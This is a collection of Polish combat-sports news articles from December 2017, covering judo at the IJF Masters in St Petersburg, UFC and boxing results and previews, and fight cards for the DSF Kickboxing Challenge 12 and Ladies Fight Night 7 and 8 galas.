Polscy judocy nie poprawili swojego dorobku w zawodach International Judo Federation Masters. W Petersburgu najlepiej z naszych zaprezentował się Maciej Sarnacki (+100kg), który zajął piąte miejsce. W klasyfikacji medalowej triumfowała Japonia

W turnieju IJF Masters wystąpiło pięcioro Polaków. Marzenia czterech judoczek szybko zostały przekreślone. Do końca o medal walczył Maciej Sarnacki (+100kg).

Zabrakło niewiele

Urszula Sadkowska (+78kg) nadal pozostaje jedyną reprezentantką Polski, która stanęła na podium zawodów Masters. Siedem lat temu judoczka sięgnęła po brąz. W kolejnych startach naszym wiodło się różnie, niektórym do zdobycia medalu brakowało naprawdę niewiele. Tym razem było podobnie. 30-letni Maciej Sarnacki, w swoim debiucie w IJF Masters, zajął piątą pozycję. W tym roku zawodnik olsztyńskiej Gwardii po raz kolejny musiał obejść się smakiem. O krok od podium był również podczas mistrzostw Europy, które w kwietniu odbyły się w Warszawie.

Co do występu Sarnackiego w Petersburgu, w pierwszym starciu Polak trafił na dwukrotnego wicemistrza Azji Iuria Krakovetskiego. 25-latek wytrzymał tylko dwie minuty. Sarnacki szybko załatwił sprawę, a jego kolejnym rywalem był Stanislav Bondarenko. Ukrainiec po raz trzeci startował w turnieju Masters i osiągnął najlepszy wynik — był siódmy, ale rywalizację z judoką Gwardii przegrał.  O finał Polakowi przyszło walczyć z liderem światowych list. David Moura zapisał na swoim koncie dwukrotnie waza-ari, zaś Sarnacki dwie kary shido i musiał walczyć o brąz.  Alex Garcia Mendoza postawił trudne warunki Polakowi. Obaj zawodnicy próbowali, ale decydującą akcję przeprowadził Kubańczyk.

Szczęścia nie miała Anna Borowska (57kg). W pierwszej walce Polka trafiła na wicemistrzynię świata i złotą medalistkę azjatyckiego czempionatu Tsukasę Yoshidę. Zacięty pojedynek stoczyła Agata Ozdoba-Błach (63kg), jednak ostatecznie musiała uznać wyższość Mungunchimeg Baldorj z Mongolii. Równie krótko trwała przygoda z rosyjskim turniejem Agaty Perenc (52kg) i Beaty Pacut (78kg).

Japonia najlepsza

Funa Tonaki (48kg), Miku Tashiro (63kg), Ryuju Nagayama (60kg) i Soichi Hashimoto – wywalczyli złote medale dla Kraju Kwitnącej Wiśni. Ich koledzy dołożyli jeszcze dwa srebra i brąz, co pozwoliło Japonii triumfować w klasyfikacji końcowej.

Trzy złota na swoim koncie zapisali Gruzini (łącznie pięć medali i druga lokata w klasyfikacji generalnej), a po dwa zdobyli judocy z Rosji (pięć) i Mongolii (cztery).

W Petersburgu zaprezentowało się 212 judoków.

KM

Bokserskie transfery do MMA?

Każde doświadczenie jest cenne i warto próbować realizować się w nowych obszarach. Coraz częściej słyszymy doniesienia o bokserach, którzy mieliby rywalizować w MMA. W ostatnim czasie w tym gronie znaleźli się Artur Szpilka, Krzysztof Zimnoch i Mateusz Masternak.

To znak czasów — zapytają niektórzy? Wzrasta popularność MMA, a co za tym idzie i możliwości. Jak jest naprawdę?

Czas MMA?

Fani sportów walki emocjonują się galami UFC, a w krajowym wydaniu KSW, FEN czy PLMMA. Ściskają kciuki za swoich ulubieńców i dostrzegają, że grono chętnych do wejścia do oktagonu stale się powiększa. Co ciekawe, pojawiają się ciekawe nazwiska znane z bokserskich ringów. Swego czasu James Toney zdecydował się rywalizować w MMA, z naszych zawodników można wymienić Rafała Jackiewicza.

W sierpniu świat patrzył na Las Vegas. Bo doszło do spotkania boksera i fightera MMA, czyli Floyda Mayweathera Jr. i Conora McGregora. Areną walki nie był oktagon, lecz ring. Choć mówimy o tych, którzy pięściarstwo chcą zamienić na MMA warto zauważyć, że pewien przełom się dokonał. Granica zaczyna się zacierać. Giełda nazwisk jest szeroka. Oczywiście obowiązują jeszcze pewne zasady i kanony, więc |(chyba) nagle Anthony Joshua czy Vasyl Łomaczenko nie zapragną rywalizować w MMA. A Tony Ferguson czy Jose Aldo nie obiorą odwrotnej drogi. Chyba nie jesteśmy jeszcze na takim etapie, choć wszystko przed nami. 

Popularność MMA rośnie, dyscyplina ma coraz więcej fanów, a jej zasięg powiększa się. Boks nie stoi na straconej pozycji, bo to fantastyczna dyscyplina, ale wielokrotnie walki nie są tak widowiskowe jak te w oktagonie. Najlepszą reklamą ringowych potyczek było starcie Włdmira Kliczko i Anthony’ego Joshuy. Kibice chcieliby więcej takich strać. A co do samych zawodników, czy pojawiło się zagrożenie, że zdecydują się na emigrację? Zapewne są tacy, którzy będą chcieli spróbować sił w MMA, ale nie dotyczy to pierwszoplanowych postaci. Raczej tych próbujących się odbudować i szukających nowej ścieżki.

W końcu walka Zimnocha i Szpilki?

Temat ten ciągnie się niczym wenezuelska telenowela i ciągle wraca. Panowie mają rachunki do wyrównania, jednak ciągle im nie po drodze. Niedawno Krzysztof Zimnoch wyjawił, że chce spróbować swoich sił w MMA. Od razu pojawiły się doniesienia na temat jego potyczki ze Szpilką. Spotkania „Szpili” ze współwłaścicielem KSW Martinem Lewandowskim utkwiły w pamięci kibiców. Już latem mówiło się o możliwości rywalizacji boksera z Wieliczki na gali najlepszej organizacji MMA w Polsce. Obaj mają za sobą trudne ringowe doświadczenia. Szpilka przegrał z Adamem Kownackim, a Zimnoch z Joeyem Abellem. Czy będą próbowali odbudować się w MMA?

Niedawno z ust byłego mistrza Europy w wadze junior ciężkiej Mateusza Masternaka padły słowa o chęci walki w oktagonie. Deklaracja 30-latka dotarła do uszu właścicieli KSW, którzy planują spotkanie z pięściarzem. Z tym, że Masternak ma dobrą serię, bo cztery ostatnie ringowe potyczki wygrał.

Kiedyś mówiło się, że w MMA mieliby rywalizować Krzysztof Włodarczyk i Tomasz Adamek. „Góral” odrzucił propozycję KSW. Ale jak widać bokserzy są łakomym kąskiem, ale wcześniej musieli zaistnieć. Zatem mają być magnesem, gwiazdami gal. Jednak warto zadać pytanie — czy MMA dla tych, którzy zmienią profesję ma być tzw. deską ratunku, a może jednak dalszą ścieżką rozwoju? Pożyjemy i zobaczymy, kto zdecyduje zamienić ring na oktagon.

KM

Najlepsi powalczą w Petersburgu

Zbliżają się zawody International Judo Federation Masters, które odbędą się w najbliższy weekend w Petersburgu. Nie zabraknie polskich akcentów. W Rosji zaprezentuje się pięcioro biało-czerwonych.

W dotychczasowej historii IJF Masters Polacy zdobyli jeden medal. Czy w Petersburgu wzbogacą swój dorobek?

Najlepsi

Trzeba otwarcie przyznać, że IJF Masters to starcie tytanów, judo na najwyższym poziomie, uczta dla fanów dyscypliny. Dlaczego? Bo w turnieju startują najlepsi z najlepszych.  W IJF Masters rywalizują judoczki i judocy z miejsc 1-16 światowego rankingu. Zdarza się jednak, że ktoś nie potwierdzi udziału w imprezie. Wtedy w jego miejsce wskakuje zawodnik z dalszej pozycji. Zatem stawka jest niezwykle wyrównana i czasami wskazanie faworytów jest niczym wróżenie z fusów. Jedno jest pewne — w szale przedświątecznych przygotowań, miłośnicy judo nie mogą przegapić zmagań w Petersburgu.

Polscy kibice będą ściskać kciuki za: Agatę Perenc (52kg), Annę Borowską (57kg), Agatę Ozdobę-Błach (63kg), Beatę Pacut (78kg) oraz Macieja Sarnackiego (+100kg). Smak rywalizacji w turnieju Masters z wymienionego grona poznała tylko tegoroczna brązowa medalistka mistrzostw świata, które odbyły się w Budapeszcie. Jednak ze startu w Rabacie Ozdoba-Błach nie ma najlepszych wspomnień. W tym roku akcje Polki stoją wysoko, judoczka zajmuje 16. miejsce w światowym rankingu i jest na fali. Odniosła największy sukces w karierze, stanęła na trzecim stopniu podium mistrzostw świata, wygrała zawody w Mińsku, a w Pradze i Abu Dhabi zdobyła brązowe medale. A na polu prywatnym wyszła za mąż. W ostatnim czasie w życiu 29-latki dzieje się wiele pozytywnych rzeczy, dlatego do Petersburga jedzie z nadziejami na kolejny dobry wynik.

Nie da się ukryć, że Anna Borowska osiąga bardzo dobry wyniki. W światowym rankingu 23-letnia Polka plasuje się na 20. lokacie. W tym roku triumfowała w trzech turniejach — w Pradze, Casablance i Taszkiencie. Do tego Borowska dołożyła brąz w Mińsku, blisko podium była w Hadze. Z kolei w Grand Slam w Abu Dhabi zajęła 7. pozycję, co jest jej najlepszym wynikiem w zawodach tej rangi. Równą formę prezentuje również Agata Perenc. W tym roku zawodniczka Polonii Rybnik stawała na każdym stopniu podium. Imponuje również 22-letnia Beata Pacut. Judoczka osiągnęła najlepszy wynik w karierze zajmując 2. miejsce w Grand Prix w Taszkiencie. Ostatnio wywalczyła brąz mistrzostw Europy U23.

Piętnasty w światowym rankingu jest Maciej Sarnacki. Judoka Gwardii Olsztyn był o krok od medalu mistrzostw Europy, w Warszawie zajął 5. miejsce. Jesienią Sarnacki imponował formą, co miało odzwierciedlenie w jego wynikach. W Abu Dhabi i Hadze Polak awansował do rywalizacji o złoto, ale w obu przypadkach przegrał.

Poprawić dorobek

W 2010 roku w Suwon Urszula Sadkowska (+78kg) wywalczyła brąz i jak dotąd jest to jedyny medal Polski w zawodach IJF Masters. Biało-czerwoni mogli poprawić ten wynik we wcześniejszych startach, jednak musieli obejść się smakiem.

W 2011 roku w Baku Janusz Wojnarowicz (+100kg) uplasował się na 5. pozycji, tak jak i rok później w Ałma Acie Tomasz Kowalski (66kg) i Tomasz Adamiec (73kg).  Ostatni występ, 2016 Guadalajara, z Polaków na IJF Masters zaliczyła Arleta Podolak (57kg), ale odpadła w eliminacjach.

fot. IJf/Facebook

KM

Czy Błachowicz pójdzie za ciosem?

Przed 34-letnim Polakiem ósma walka w UFC. 16 grudnia na gali w MTS Centre w Winnipeg Jan Błachowicz zmierzy się z Jaredem Cannonierem.

Trzy lata trwa przygoda polskiego fightera z najlepszą organizacją MMA na świecie. W tym czasie nie brakowało wzlotów i upadków.

Był pod ścianą

Jan Błachowicz miał fantastyczne wejście do UFC.  W październiku 2014 roku, na gali UFC Fight Night 53, zawodnik pochodzący z Cieszyna potrzebował niespełna dwóch minut, aby pokonać Ilira Latifiego. Mocne kopnięcie w głowę i zapędy Szweda zostały powstrzymane. Błachowicz mógł tylko zwieńczyć dzieło i cieszyć się z pięknego rozpoczęcia przygody w UFC. Tym samym zamknął usta niedowiarkom. Ale jak wiadomo — czas wszystko weryfikuje. Kolejne walki Błachowiczowi po prostu nie wyszły. Przegrał przed polską publicznością w Krakowie z Jimim Manuwą, a następnie zanotował porażkę w starciu z Coreyem Andersonem.  Akcje Polaka spadły, a jego przyszłość w UFC stanęła pod znakiem zapytania.

Błachowicz musiał pokonać w Zagrzebiu zawodnika gospodarzy — Igora Pokrajaca. I zrobił to! Były mistrz KSW śmiało poczynał sobie w klatce. Druga i trzecia runda w jego wykonaniu wyglądały bardzo dobrze. Polak sprowadzał rywala do parteru i częstował go ciosami. Sędziowie jednogłośnie wskazali na zwycięstwo Błachowicza, który mógł odetchnąć z ulgą. W kolejnej walce musiał stawić czoła mocnemu Alexandrowi Gustafssonowi. Szwed wracał do rywalizacji po blisko rocznej absencji, jednak szybko przejął inicjatywę. Błachowicz nie mógł się odnaleźć, Gustafsson sprowadzał walkę do parteru i konsekwentnie zmierzał do zwycięstwa. 34-latek miał odbudować się w pojedynku z Patrickiem Cumminsem, ale mu się nie udało.

Ponownie sytuacja Błachowicza wyglądała nieciekawie. 34-latek dostał szansę na zaprezentowanie się przed własną publicznością. Tym razem w Gdańsku. Takiego Błachowicza kibice chcieliby oglądać zawsze. Polak okazał się skuteczny do bólu, o czym dotkliwie przekonał się Devin Clark. W drugiej rundzie 34-latek pochodzący z Cieszyna wygrał przez duszenie zza pleców i otrzymał bonus — 50 tysięcy dolarów.  Trzy zwycięstwa, cztery porażki — to bilans Polaka w UFC. Czy na gali UFC on Fox 26 poprawi tę statystykę?

Wygrana na święta

Dla Jana Błachowicza najlepszym prezentem pod choinkę będzie wygrana 16 grudnia z Jaredem Cannonierem. Początkowo Amerykanin miał rywalizować z Antonio Rogeiro Nogueirą. Brazylijczyk wypadł jednak z karty walk z racji problemów z amerykańską agencją dopingową, a jego miejsce zajął Błachowicz. Dotychczas 33-letni Amerykanin stoczył pięć walk w UFC, z których wygrał trzy. Łącznie ma na koncie dziesięć triumfów w dwunastu starciach. Ostatnio przed czasem pokonał Nicka Roehricka. Warto dodać, że Cannonier większość pojedynków kończy przed czasem.

Obaj chcą wygrać po raz czwarty w UFC. Błachowicz mógłby wykonać krok w stronę najlepszej dziesiątki kategorii półciężkiej. 34-latek jeszcze nigdy nie wygrał dwóch walk z rzędu w UFC. Będzie ten pierwszy raz?

Fot. Jan Błachowicz Facebook

KM

Łomaczenko obronił pas WBO

Wasyl Łomaczenko po raz kolejny udowodnił wielką klasę i obronił pas mistrza świata WBO wagi super piórkowej. W Nowym Jorku wyższość Ukraińca musiał uznać Guillermo Rigondeaux. Do niespodzianki doszło w Londynie. James DeGale przegrał niejednogłośnie na punkty z Calebem Truaxem i stracił tytuł mistrza świata IBF wagi super średniej.

W przypadku Wasyla Łomaczenko mówiło się, że czeka go trudne wyzwanie. Rigondeaux to znakomity defensor, ale Ukrainiec skutecznie skruszył mury obronne rywala.

Pełna dominacja

29-letni Łomaczenko ma na swoim koncie dwa mistrzostwa olimpijskie. Jego kariera amatorska była niezwykle bogata. Już wtedy udowodnił, że drzemią w nim ogromne możliwości. Na zawodowym ringu pojawił się w październiku 2013 roku i przez nokaut pokonał Jose Ramireza. Była to znakomita zapowiedź dalszej ścieżki ukraińskiego pięściarza. Obecnie Łomaczenko uchodzi za niezwykle mocnego pięściarza, na którego czeka jeszcze wiele wyzwań. 29-latek zachwyca, a jego promotor Bob Arum rozpływa się w pochwałach nad jego możliwościami.

W Nowym Jorku rywalem Łomaczenki był niepokonany Guillermo Rigondeaux. Pierwsza runda rozpoznawcza. Nikt nie chciał zaryzykować, bo obaj pięściarze zdawali sobie sprawę z klasy rywala. Ale w kolejnych minutach obraz walki diametralnie się zmienił. Łomaczenko przyspieszył tempo, skutecznie atakował i kontrolował pojedynek. Dynamiczne akcje Ukraińca wprawiały w zakłopotanie Kubańczyka, który preferuje zdecydowanie wolniejsze tempo. Łomaczenko trafiał całymi seriami, Rigondeaux był bezradny i nie potrafił się skutecznie bronić. Jedynym ratunkiem dla 37-latka był klincz. W szóstej rundzie Łomaczenko zdemolował rywala. Po niej Kubańczyk poddał się, powód: kontuzja lewej ręki.

Dla Ukraińca było to dziesiąte zwycięstwo w karierze. Łomaczenko obronił pas WBO wagi super piórkowej, teraz ma atakować kategorię lekką.

Niespodzianka

W maju 2015 roku w Bostonie James DeGale pokonał jednogłośnie na punkty Andre Dirrella i sięgnął po pas mistrza świata IBF kategorii super średniej. Anglik trzy razy skutecznie bronił tytułu. Kolejnym pięściarzem, który chciał pozbawiać DeGale'a pasa był Caleb Truax.

34-letni Amerykanin zaskoczył mistrza. Truax nie pozostawał bierny i wywierał presję na rywalu, który musiał się bronić. Od piątego starcia sytuacja DeGale'a wyglądała coraz gorzej. Anglik przyjmował mocne ciosy, a jego reakcje w żaden sposób nie zagrażały pretedentowi. Truax wygrał niejednogłośnie na punkty – 116:112, 115:112, 114:114. Niespodzianka stała się faktem, DeGale stracił pas.

Fot. Facebook Wasyl Łomaczenko

KM

Efektowny początek Turyńskiego

Michał Turyński wybrał się do Chin, aby wziąć udział w turnieju King of Kungfu Champion Fight 2017. Polski kickboxer udanie rozpoczął zmagania i w pierwszej walce wygrał przez nokaut.

Zawodnik Punchera Wrocław nie raz pokazał, że potrafi z powodzeniem rywalizować na arenie międzynarodowej. Czy w turnieju, który odbywa się w Qianan w prowincji Hebei Polak odniesie kolejny sukces?

Efektowny wojownik

Rywalizujący w wadze ciężkiej Turyński to jeden z najbardziej rozpoznawalnych polskich kickboxerów. Wszystkich wprawił w euforię w marcu 2016 roku, kiedy w Sarajewie wywalczył pas zawodowego mistrza świata organizacji WAKO. Turyński pokonał lokalnego faworyta Dzevada Poturaka. Zacięta walka, niezwykle twarda i pełna emocji. Polak wygrał niejednogłośnie na punkty, czym wprawił w rozpacz rywala i wywalczył pas w wadze superciężkiej. Bośniak przegrał po raz pierwszy od dwunastu lat na własnym terenie!

Ale Turyński może pochwalić wieloma sukcesami, które pozwoliły mu wypracować markę cenionego kickboxera. Nie tylko w kraju, ale i poza jego granicami. Wystarczy wspomnieć o dwóch złotych medalach Pucharów Świata i brązie mistrzostw Europy w K-1. W tym roku zawodnik miał zapisać na swoim koncie krążek The World Games. Turyńskiemu przyszło rywalizować we Wrocławiu, więc mógł liczyć na gorący doping. Zawodnik pochodzący z Ciepłowód dostał dziką kartę od organizatorów i wymieniany był jako faworyt do złota. Los jednak mu nie sprzyjał. W ćwierćfinale Polak znokautował Chorwata Ante Verunicę, ale odnowiła mu się kontuzja stopy i musiał pożegnać się z marzeniami o medalu.

Ostatnio kibice mogli podziwiać Michała Turyńskiego podczas gali DSF 11. Zawodnik Fightera Wrocław zaprezentował się w meczu Polska – Francja, który biało-czerwoni pewnie wygrali 5:0. Turyński rozstrzygnął swoją walkę już w pierwszej odsłonie. Kevin Minounmana był bezradny wobec latającego kolana Polaka.

Teraz Michał Turyński obrał kierunek Chiny. W pierwszej walce już zachwycił obserwatorów i pokazał, że jest fighterem najwyższej klasy. Rywal z Chin był bezradny wobec dyspozycji, przygotowania i doświadczenia Turyńskiego, który zwyciężył w drugiej rundzie. Polak wyprowadził wysokie kopnięcie na głowę i znokautował przeciwnika. W kolejnej rundzie Turyński zmierzy się z Tsotne Rogavą. Walka odbędzie się 12 grudnia.

Mocny rywal 

Z pewnością rywalizacja z Tsotne Rogavą będzie dla Turyńskiego ogromnym wyzwaniem. Zawodnik reprezentujący Ukrainę jest mistrzem świata muay thai. W pierwszej walce pokonał znanego Konstantina Gluhova, którego znokautował kopnięciem na głowę. Mający gruzińskie korzenie Rogava potrafi walczyć niezwykle efektownie i skutecznie. Szykuje się ciekawa walka. Oby po niej cieszył się zawodnik z Polski.

Fot. pzkickboxing.pl

KM

DSF Kickboxing Challenge 12

DSF Kickboxing Challenge 12: Ceremonia ważenia w piątek 8 grudnia o 13:00 w Restauracji Champions

Po rocznej przerwie kibicom K-1 znów udzieli się niepowtarzalny sportowy klimat warszawskiej Restauracji Champions, w której 9 grudnia odbędzie się gala DSF Kickboxing Challenge 12: Najlepsi z Najlepszych II. Dzień wcześniej o godzinie 13:00 w tym samym miejscu odbędzie się oficjalna ceremonia ważenia, na której oprócz zawodników występujących na sobotniej gali obecni będą także przedstawiciele złotego pokolenia polskiego kickboxingu – m.in. Przemysław Saleta i pierwszy mistrz świata znad Wisły – Piotr Siegoczyński.

Gala DSF Kickboxing Challenge 12 to najmocniej obsadzona impreza kickbokserska tego roku. Odbędą się na niej dwie arcyciekawe walki o mistrzowskie pasy, a także wyczekiwany debiut w federacji Daniela Omielańczuka oraz wieńczące wspaniałą trylogię K-1 starcie stołecznej gwiazdy hip hopu Jurasa Wrońskiego ze zwycięzcą turnieju DSF Eliminator Piotrem Sokołem. Dopełnieniem tego kickbokserskiego święta będzie benefis polskich legend sportu z Markiem Piotrowskim, Przemysławem Saletą, Marcinem Różalskim, Piotrem Siegoczyńskim i Agnieszką Rylik na czele.

W pojedynku wieczoru DSF Kickboxing Challenge 12 do pierwszej obrony tytułu mistrza DSF w kategorii do 81 kilogramów przystąpi Kamil Jenel (23-5) Rywalem szalenie efektownie walczącego śląskiego kozaka, który dwa miesiące temu w wielkim stylu zdobył pas na gali DSF ELIMINATOR,, będzie lubiący sprawiać niespodzianki Rumun Mircea Eduard Andronache (15-6-1). W drugiej walce mistrzowskiej znakomity Białorusin Piotr Romankiewicz (24-4) będzie bronić swojego trofeum kategorii superciężkiej w starciu z doświadczonym Danielem Claudem Lentie (64-10-2) z Kamerunu.

Wielką gratką dla fanów sportów walki będzie również wyczekiwany debiut Daniela Omielańczuka (19-8-1 w MMA) w federacji DSF Kickboxing Challenge. Warszawski fighter wraca do korzeni po wieloletnich występach w UFC. Jego pierwszym rywalem w K-1 będzie dobrze znany polskim kibicom były brytyjski strongman Oli Thompson (17-10 w MMA, 2-0 w boksie i 1-0 w K-1), który od 2009 roku z powodzeniem rywalizuje w MMA oraz kickboxingu. 36-letni Thompson walczył już dla takich federacji jak UFC, Bellator i KSW. Teraz zapowiada, że zgotuje Omielańczukowi chłodne przywitanie w Polsce. Czy tak właśnie będzie? Przekonamy się 9 grudnia.

Na DSF Kickboxing Challenge 12 dopełni się także fascynująca trylogia pomiędzy warszawskim raperem Jerzym „Jurasem” Wrońskim (9-1) a triumfatorem turnieju DSF ELIMINATOR – Piotrem Sokołem (11-6). W dotychczasowych dwóch walkach zwyciężał Juras, ale w rewanżu na DSF Kickboxing Challenge 10 w Nowym Sączu gwiazdor hip-hopu był liczony po mocnym ciosie i pokonał krakowianina minimalnie na punkty, z czym ten drugi do dziś nie może się pogodzić. Na ringu w Restauracji Champions zawodnicy w końcu rozstrzygną ciągnący się od dawna konflikt. Kto będzie górą?

Tej samej nocy drugi pojedynek dla federacji stoczy złoty medalista World Games 2017 we Wrocławiu Dawid Kasperski (20-6-1), który pewnie zmierza po mistrzowski pas w kategorii do 86 kilogramów. Na drodze Polaka tym razem stanie bardzo mocny Francuz Mehdi Bouanane (22-7), który w czerwcu w wielkim stylu zwyciężył w prestiżowym finałowym turnieju Enfusion Reality w Tajlandii.

Karta walk DSF Kickboxing Challenge 12: Najlepsi z Najlepszych II:

Walka nietelewizyjna (3 x 3 min)

1. Muay Thai (-67 kg) Sebastian Janiak vs Mateusz Janik

Walki rankingowe (3 x 3 min):

2. K-1 (-65 kg) Murat Azerbiev vs Aleksiej Fedoseev

3. K-1 (-81 kg) Kamil Ruta vs Dawid „Mirko” Mirkowski

4. K-1 (-75 kg) Piotr Sokół vs Jerzy „Juras” Wroński

5. K-1 (-86 kg) Dawid Kasperski vs Mehdi Buoanane

6. K-1 (+91 kg) Daniel Omielańczuk vs Oli Thompson

Co-Main Event – Walka o pas DSF Kickboxing Challenge w wadze ciężkiej (5 x 3 min):

7. K-1 (+91 kg) Piotr Romankiewicz vs Daniel Claude Lentie

Main Event – Walka wieczoru o pas DSF Kickboxing Challenge (5 x 3 min):

8. K-1 (-81 kg) Kamil Jenel vs Mircea Eduard Andronache

9 grudnia w Restauracji Champions w Hotelu Marriott w Warszawie otwarcie bram dla kibiców nastąpi o godzinie 18:00. Początek gali „DSF Kickboxing Challenge 12: Najlepsi z Najlepszych II” o godzinie 19:00. Transmisja na żywo w Canal+ Now, Player.pl oraz DSFLIVE.com (międzynarodowo). Bilety zostały wyprzedane.

Double Trouble już za niespełna tydzień w Łodzi – dwa dni, dwie gale.

Double Trouble już za niespełna tydzień w Łodzi – dwa dni, dwie gale.

Na naszej najbliższej, urodzinowej gali kobiecych sportów walki federacji Ladies Fight Night zobaczymy wojowniczki, które występowały na wielu prestiżowych galach przygotowywanych przez światowe organizacje tj. UFC, Invicta, Bellator, Glory czy KunLun.

Walki w formułach MMA i K1

Już za kika dni zelektryzują nas starcia między innymi takich wojowniczek jak Żaneta Cieśla vs Silvia La Notte (Włochy) czy Patricia Axling (Szwecja) vs. Cindy Silvestri (Francja) głównie z uwagi na ogrom ich doświadczenia w ringu.

Łódź i lokalne akcenty

Łodzianka, Katarzyna Sadura skrzyżuje rękawice ze Stephanie Egger (Szwajcaria), która znana jest również z walk w organizacji Invicta. Sadura ostatnio wygrała pojedynek w Poznaniu z bardzo doświadczoną Suvi Salmiemies (Finlandia). Liczymy na to, że w swoim rodzinnym mieście przy dużym wsparciu wiernych fanów powtórzy ten sukces.

Main Event na LFN 8

W walce wieczoru podczas LFN 8 (sobota) w formule MMA walczyć będą Carolina Jimenez znana z naszej poprzedniej gali "IRA" w Ossie z Maguy Berchel (Francja). Liczymy na wspaniałe widowisko sportowe.

Karolina Owczarz zadebiutuje na gali LFN 7!

Zaskoczeni? My nie! Już w piątek będziemy mogli podziwać debiut Karoliny Owczarz, która razem z Andrzejem Janiszem poprowadzi studio komentatorskie na gali Ladies Fight Night.

Hymn LFN w zaskakującej aranżacji tylko w Łodzi podczas gali LFN 8

Podczas gali LFN 8 atrakcją wieczoru będzie łódzki zespół Samokhin Band. Przystojni muzycy zaprezentują się w nowej odsłonie i wykonają hymn LFN z instrumentami na żywo (trąbka, saksofon, piano, perkusja, konga, gitara i bass) JAZZ vs RAP ? Sprawdźcie to!

Ceremonia Ważenia i Media Trening –  po raz pierwszy również dla kibiców!

W piątek, 15.12.2017 od godz. 13.00, pragniemy zaprosić wszystkich chętnych na ceremonię ważenia, połączoną ze spotkaniem z zawodniczkami na terenie łódzkiej Wytwórni, wejście od ulicy Łąkowej 29. Na żywo będzie można podpatrzeć gorączkę przedgalową, zrobić zdjęcie ze swoimi idolami oraz odebrać plakat z autografami.

Wejściówki

Do piątku 08.12.2017, do godz. 20.00 wszystkie zarejestrowane osoby otrzymają informację o statusie swojej wejściówki na “Double Trouble”.

Harmonogram LFN 7 – piątek 15.12.2017

17.30 – 18.45 odbiór wejściówek dla tych osób, które otrzymały pozytywną odpowiedź w procesie rejestracji na www.lfn.com.pl. Wejście od strony Wytwórni, ul. Łąkowa 29.

18.30 drzwi otwarte

19.00 start gali LFN 7

Harmonogram LFN 8 – sobota 16.12.2017

17.30 – 18.45 odbiór wejściówek dla tych osób, które otrzymały pozytywną odpowiedź w procesie rejestracji na www.lfn.com.pl. Wejście przez główne drzwi hotelu Hilton, ul. Łąkowa 29

18.30 drzwi otwarte

19.00 start gali LFN 8

*Bardzo prosimy o zabranie ze sobą dokumentu tożsamości, który będzie niezbędny przy odbiorze wejściówek.

Transmisja gali

Gale Ladies Fight Night "Double Trouble" LFN 7 i LFN 8 podobnie jak wszystkie poprzednie będą transmitowane bezpłatnie. Dostęp na naszym fanpage'u na Facebook'u oraz www.lfn.com.pl.

15 grudnia

Lp.

formuła

czerwony narożnik

rekord

kraj

niebieski narożnik

rekord

kraj

waga

1.

K1

Sandra Drabik

(4-1-0)

Polska

Magdalena Kasprzyk

(2-1-0)

Polska

52kg

2.

MMA

Katarzyna Lubońska

(5-2-0)

Polska

 

 

 

57kg

3.

K1

Katarzyna Posiadała

(5-1-0)

Polska

Erica Bjornestrand

 

Szwecja

63,5kg

4.

MMA

Izabella Badurek

(6-3-0)

Polska

Zarah Fairn

(5-2-0)

Francja

64kg

(catchweight)

5.

K1

Joanna Walorska

(14-7-0)

Polska

Tereza Dvorakova

(25-7-0)

Czechy

60kg

6.

K1

Monika Bohn

(2-3-0)

Polska

Josefine Knutson

(2-1-0)

Szwecja

50kg (catchweight)

7.

MMA

Katarzyna Biegajło

(2-0-0)

Polska

 

 

 

57kg

8.

K1

Żaneta Cieśla

^

Polska

Silvia La Notte

(41-9-3)

Włochy

50kg (catchweight)

9.

K1

Magdalena Sormova

(4-1-0)

Czechy

Cristina Stanciu

(5-2-0)

Rumunia

52kg

 

16 grudnia

Lp.

formuła

czerwony narożnik

rekord

kraj

niebieski narożnik

rekord

kraj

waga

1.

MMA

Hanna Gujwan

(1-1-0)

Polska

Minna Grusander

(3-1-0)

Finlandia

50kg (catchweight)

2.

MMA

Weronika Zygmunt

(3-3-0)

Polska

Karolina Iverenova

(1-0-0)

Rosja

52kg

3.

K1

Natalia Leciejewska

(2-1-0)

Polska

Karolina Kubiak

(0-0-0)

Polska

48kg

4.

MMA

Barbara Nalepka

(4-2-0)

Polska

Elina Kallionidou

(5-2-0)

Grecja

57kg

5.

MMA

Sylwia Juśkiewicz

(7-5-0)

Polska

Samin Kamal Beik

(2-1-0)

Włochy

52kg

6.

K1

Patricia Axling

(27-3-0)

Szwecja

Cindy Silvestri

(26-12-1)

Francja

57kg (catchweight)

7.

MMA

Judyta Rymarzak

(0-0-0)

Polska

Marta Waliczek

(0-0-0)

Polska

57kg

8.

K1

Małgorzata Dymus

(2-2-0)

Polska

Joanna Różańska

(1-0-0)

Polska

56kg

9.

MMA

Katarzyna Sadura

(3-2-0)

Polska

Stephanie Egger

(2-1-0)

Szwajcaria

61kg

10.

MMA

Carolina Jimenez

(6-0-0)

Wenezuela

Maguy Berchel

(8-2-0)

Francja

57kg

ZAPROSZENIE: Ladies Fight Night 7 i 8 – Double Trouble

Już 15 i 16 grudnia 2017 r. niezwykłe wydarzenie na polskiej scenie sztuk walk. Federacja Ladies Fight Night na drugie urodziny przygotowała dwie gale zawodowe dzień po dniu. Największa w Europie i druga na świecie federacja kobiecych sztuk walk po raz kolejny udowadnia, że podejście do organizacji gal jak i sam pomysł na prowadzenie tego rodzaju federacji nie znają ograniczeń. Jedynym ograniczeniem włodarzy LFN jest tylko ich wyobraźnia. Zapraszamy!!!

[kod]

Czy świat stanie w miejscu?

„Ważne są dni, których jeszcze nie znamy” – śpiewał Marek Grechuta. Trudno wyrokować, co przyniesie przyszłość, ale świat boksu z niecierpliwością czeka na święto wagi ciężkiej. Wszyscy wypatrują pojedynku Deontaya Wildera z Anthony'm Joshuą. 

Z pewnościa byłaby to walka tytanów. Wszyscy o tym mówią, gdzieś w powietrzu unosi się już woń rywalizacji, ale konkretów brak. Oby ten zapowiadany hit nie został tylko odłożony na półkę.

Smakołyk pierwsza klasa

Co na papierze, to na papierze. Podpisane, a więc pewne. Gadać można różne rzeczy i nic z tego nie wychodzi. Tak to już najczęściej jest, że z dużej chmury mały deszcz. A na wielkie pojedynki trzeba czekać stosunkowo długo. Poza tym nuda i przewidywalność. Miłośnicy boksu ekscytowali się starciem Joshuy z Władimirem Kliczko. Kolejnymi triumfami przed czasem imponuje Deontay Wilder. A żeby tak usiąść i z ekscytacją obserwować walkę, to się zdarza raczej od święta.

